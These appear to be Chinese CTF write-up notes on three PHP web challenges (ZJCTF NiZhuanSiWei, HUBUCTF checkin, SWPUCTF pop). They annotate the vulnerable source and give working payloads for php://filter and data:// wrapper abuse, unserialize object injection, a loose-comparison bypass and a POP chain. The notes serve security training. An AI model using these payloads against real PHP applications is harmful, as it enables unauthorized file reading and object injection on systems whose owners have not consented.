目录
[ZJCTF 2019]NiZhuanSiWei
[HUBUCTF 2022 新生赛]checkin
1.PHP 关联数组 PHP 数组 | 菜鸟教程
2.PHP 弱比较绕过 PHP 类型比较 | 菜鸟教程
[SWPUCTF 2021 新生赛]pop
[ZJCTF 2019]NiZhuanSiWei
BUUCTF [ZJCTF 2019]NiZhuanSiWei特详解(php伪协议+序列化与反序列化)-CSDN博客
代码审计
<?php
// 获取GET请求中的text、file和password参数
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
// 检查text参数是否设置,并且其内容是否等于"welcome to the zjctf"
if(isset($text) && (file_get_contents($text,'r')==="welcome to the zjctf")){
// 如果条件满足,则输出text的内容
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
// 检查file参数是否包含字符串"flag"
if(preg_match("/flag/",$file)){
// 如果包含"flag",则输出"Not now!"并停止执行
echo "Not now!";
exit();
}else{
// 如果不包含"flag",则包含指定的文件(例如:useless.php)
include($file); //useless.php
// 将password参数反序列化
$password = unserialize($password);
// 输出反序列化后的password值
echo $password;
}
}
else{
// 如果text参数未设置或其内容不等于"welcome to the zjctf",则高亮显示当前脚本的源代码
highlight_file(__FILE__);
}
?>
第一层:
PHP file_get_contents() 函数
file_get_contents() 把整个文件读入一个字符串中。
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
GET传参text,内容为welcome to the zjctf。可使用date://协议(或POST传参php:input//协议)
GTE传参text:
?text=data://text/plain,welcome to the zjctf
第二层:
正则过滤了flag字符串,直接访问/useless.php依然为开始的代码
可使用php://filter 读取源代码并进行base64编码输出。
GET传参file:
php://filter/convert.base64-encode/resource=文件路径
file=php://filter/convert.base64-encode/resource=useless.php
得到一段base64编码,解码得到一段php代码
<?php
class Flag{ //flag.php(注释存在flag.php) //定义名为Flag的类
public $file; //公共属性 file
public function __tostring(){ //魔术方法,把对象当成字符串调用时触发
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三层:进行序列化操作
<?php
class Flag
{
public $file='flag.php';
}
$a=new Flag();
echo serialize($a);
?>
GET传参password:
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//最终payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码得到flag
[HUBUCTF 2022 新生赛]checkin
[HUBUCTF 2022 新生赛]checkin-CSDN博客
代码审计
<?php
// 显示当前文件的源代码
show_source(__FILE__);
// 定义用户名和密码
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
// 包含flag.php文件,这里我修改了那两个值
include("flag.php");//here I changed those two
// 获取名为'info'的GET参数,如果不存在则默认为空字符串
$info = isset($_GET['info']) ? $_GET['info'] : "";
// 对获取的信息进行反序列化
$data_unserialize = unserialize($info);
// 检查反序列化后的数据中的用户名和密码是否与定义的用户名和密码匹配
if ($data_unserialize['username'] == $username && $data_unserialize['password'] == $password) {
// 如果匹配,显示flag
echo $flag;
} else {
// 如果不匹配,显示错误消息
echo "username or password error!";
}
?>
1.PHP 关联数组 PHP 数组 | 菜鸟教程
在 PHP 中,array() 函数用于创建数组
1.array()函数:采用以逗号分隔的键值对列表。每个键值对都写为键 => 值,其中键是字符串键,值是与键关联的值。
$student = array( "name" => "line", "age" => 100, "stream" => "Computer Science" );
2.方括号表示法:定义数组,然后使用方括号表示法为其分配键值对。
$student["name"] = "line"; $student["age"] = 100; $student["major"] = "Computer Science";
2.PHP 弱比较绕过 PHP 类型比较 | 菜鸟教程
在 PHP 弱比较时会发生类型转换,若一端为布尔类型,另一端为其他类型,在转换时会将其他类型转换为布尔类型。 在转换的时候,非 0 为 true ,0 为 false 。
第一层:用户名和密码先被修改了,可用关联数组重新定义。
第二层:检查反序列化后的用户名和密码时使用了==若比较,故可将数组中的值全部设置为布尔值 true。
构造代码:
<?php
$info=array("username"=>true,"password"=>true);
echo serialize($info);
?>
构造payload,得到flag:
?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}
[SWPUCTF 2021 新生赛]pop
[SWPUCTF 2021 新生赛]pop (不是很会这个题,多学习)
打开环境,这是一个pop链 包含w44m、w22m、w33m三个类
<?php
error_reporting(0); // 关闭所有错误报告
show_source("index.php"); // 显示index.php文件的源代码,这可能是为了调试目的
// 定义一个名为w44m的类,它有两个私有属性:admin和passwd
class w44m{
private $admin = 'aaa'; // admin属性的默认值是'aaa'
protected $passwd = '123456'; // passwd属性的默认值是'123456'
// Getflag方法用于检查admin和passwd的值是否匹配,如果是则包含flag.php文件并输出$flag
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin; // 输出admin的值
echo $this->passwd; // 输出passwd的值
echo 'nono'; // 输出字符串'nono'
}
}
}
// 定义一个名为w22m的类,它有一个公共属性w00m
class w22m{
public $w00m;
// __destruct魔术方法在对象被销毁时调用,这里只是简单地输出w00m的值
public function __destruct(){
echo $this->w00m;
}
}
// 定义一个名为w33m的类,它有两个公共属性w00m和w22m
class w33m{
public $w00m;
public $w22m;
// __toString魔术方法在对象被当作字符串时调用,这里调用了w00m对象的w22m属性所指向的方法
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
// 通过GET请求获取名为w00m的参数,并将它的值反序列化成一个对象
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
第一层:需要构造pop链,w44m类里面的Getflag()函数可以用来读取flag,因此将它作为pop链的尾部。
第二层:w33m类中,$this->w00m->{$this->w22m}();能调用函数
所以需要给$w00m赋一个w44m类,然后再给$w22m赋一个Getflag(),就能成功调用该函数。
第三层:__toString魔术方法在对象被当作字符串时调用,w22m类中echo $this->w00m;使用了__destruct()类的析构函数,对象被销毁时触发。
所以要给w00m赋一个w33m类,就能调用w33m类。
构造代码:
<?php
class w44m{
private $admin='w44m';
protected $passwd='08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>
构造payload,得到flag